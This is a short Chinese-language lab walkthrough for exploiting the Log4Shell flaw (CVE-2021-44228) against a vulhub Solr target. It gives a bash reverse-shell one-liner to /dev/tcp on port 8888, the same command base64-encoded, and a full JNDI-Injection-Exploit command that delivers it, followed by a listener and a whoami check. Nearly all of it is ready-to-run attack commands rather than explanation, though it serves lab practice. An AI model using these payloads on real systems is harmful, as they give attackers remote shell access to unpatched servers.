1.用vulhub靶场搭建,首先进入目录CVE-2021-44228中,docker启动命令
2.发现端口是8983,浏览器访问http://172.16.1.18:8983/
3.用dnslog平台检测dns回显,看看有没有漏洞存在
4.反弹shell到kali(ip为172.16.1.18)的8888端口
bash -i >& /dev/tcp/172.16.1.18/8888 0>&1
然后对上述命令进行base64编码,
YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMS4xOC84ODg4IDA+JjE=
最终 Payload
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMS4xOC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" -A "172.16.1.18"
同时,我们开启对172.16.1.18:8888端口监听
输入whoami命令查看是否获得shell